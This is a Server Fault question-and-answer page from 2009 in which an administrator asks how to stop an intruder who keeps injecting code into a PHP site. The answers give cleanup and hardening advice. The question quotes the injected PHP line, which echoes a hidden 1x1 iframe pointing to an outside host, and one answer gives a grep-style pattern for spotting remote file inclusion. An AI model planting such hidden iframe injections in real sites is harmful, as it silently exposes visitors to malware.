Take the 2-minute tour ×
Server Fault is a question and answer site for professional system and network administrators. It's 100% free, no registration required.

Possible Duplicate:
My server's been hacked EMERGENCY

someone is intruding in our site and putting following line in our main page (index.php):: In the following code bottom.php is our own file and the intruder is putting the "echo <iframe .... >;" line between our "include_once" code.

<?include_once('bottom.php'); echo "<iframe src=\"http://clydaib.net/?click=86B26\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; ?>

please help me out to prevent this trespassing.

PHP Version 5.2.9, System : Linux hansens 2.4.32-grsec-opteron-peon-1.1.1 #1 SMP Fri Dec 21 15:45:17 PST 2007 i686

share|improve this question

marked as duplicate by Mark Henderson Aug 27 '12 at 4:14

This question has been asked before and already has an answer. If those answers do not fully address your question, please ask a new question.

    
what operating system? what web server? versions too please –  Nick Kavadias Aug 7 '09 at 8:58
    
PHP Version 5.2.9, System : Linux hansens 2.4.32-grsec-opteron-peon-1.1.1 #1 SMP Fri Dec 21 15:45:17 PST 2007 i686 –  jimit Aug 7 '09 at 9:07
    
What versions of Apache? and whats the actuall distro? Have you checked your access logs for anything that looks a bit shaddy? –  Mark Davidson Aug 7 '09 at 9:31
    
If you could provide the url, we could fix this issue rather quickly, i think... –  Sander Versluys Aug 7 '09 at 10:24

5 Answers 5

First thing you should do, if you haven't already done so, is lock the server down as much as you realistically can while you determine what the cause is. In an ideal world, I'd take the machine off line while I found out what was going on.

Try to determine what the root cause of this was (pardon the pun). If this is some kind of attack over http, work out where it came from, and what else might have been compromised. Might this be a compromise of the whole box?

Your kernel is about 2 years old, your PHP is not the most up to date for that branch. I guess your apache install isn't either. Are you using an installed CMS type package for the site? Is that up to date? Have you removed any install directories? What are the permissions on the files?

If it was me:

  1. Take the machine off line
  2. Ensure that the problem is contained (possibly a reinstall to be sure)
  3. Ensure software is up to date and all known security holes covered
  4. Restore content from known good backup (you have a backup, right?)
  5. Look at something like Tripwire

This might be a complete overreaction to your problem, but until you know the scale of the 'defacing' you won't know how far to take it.

share|improve this answer
    
A complete reinstall is the only option when you've been comprimised. Otherwise you don't know if they haven't added backdoors or kernel rootkits and you're just opening yourself to be hacked again. –  David Pashley Aug 7 '09 at 13:05

First, check FTP transfer logs about index.php and check IPs of connections - are they from foreign country like China, Russia etc. If true - change FTP password, clean site and malware-scan all PCs where password was used/saved. It is quite common for malware to steal saved password or include keyloger, which are sent to intruder and used to make sites distribute/host malware. Also, remember FTP sends all passwords in plaintext, so dont use it open wifi or other untrusted networks.

if that does not work, check site for: a)file upload scripts. Check for file paths/path validation. Also, check that file type is really validated, not just extension . Apache mod mime has insecure "feature", so files like evilscript.php.gif will be executed as php. Ref:

"Care should be taken when a file with multiple extensions gets associated with both a MIME-type and a handler. This will usually result in the request being by the module associated with the handler. For example, if the .imap extension is mapped to the handler imap-file (from mod_imap) and the .html extension is mapped to the MIME-type text/html, then the file world.imap.html will be associated with both the imap-file handler and text/html MIME-type. When it is processed, the imap-file handler will be used, and so it will be treated as a mod_imap imagemap file."

Solution: disable php on directories, where uploaded files are moved.

b)include|require (_once) . They can be used for remote file inclusion, so attacker can write php script, which will be executed at server and can change/delete files. Look for something like include ($_GET | $_POST | $_COOKIE | $_REQUEST | $SERVER)(.?) Solution: disable remote_fopen, if your site does not need them. Otherwise, do same proper input validation (Which would be sane thing to do :). Also, i suggest to disable register_globals.

c)Eval`ed user input / remote files. Remember that user input can reside at database.

Also, check your site for uploaded backdoors, so called "shells". Most secure thing to do is to restore from known safe backup :)

share|improve this answer

There are many ways to do this. Is there any Input field on your main page or (another one) which coud be incorrectly parsed for exploit attempts ?

First make the PHP files readable by the webserver but not writable. Second check your various input fields for possible exploitation.

share|improve this answer

it's quite popular recently with malware stealing saved passwords [ most often from total commander ] and sending those credentials to command-center. later on other machines connect via ftp, download index.php/html and append malicious js/php. all automated.

share|improve this answer

A way to limit attacks to web apps in apache is to load and fine tune apache's mod_security

Link: look this Introducing mod_security article

share|improve this answer